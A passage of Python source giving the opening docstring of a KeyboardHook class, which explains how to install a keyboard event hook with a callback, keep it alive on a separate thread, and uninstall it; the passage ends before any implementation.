class KeyboardHook:
"""
To install the hook, call the (gasp!) installHook() function.
installHook() takes a pointer to the function that will be called
after a keyboard event. installHook() returns True if everything
was successful, and False if it failed
Note: I've also provided a function to return a valid function pointer
To make sure the hook is actually doing what you want, call the
keepAlive() function
Note: keepAlive() doesn't return until kbHook is None, so it should
be called from a separate thread
To uninstall the hook, call uninstallHook()
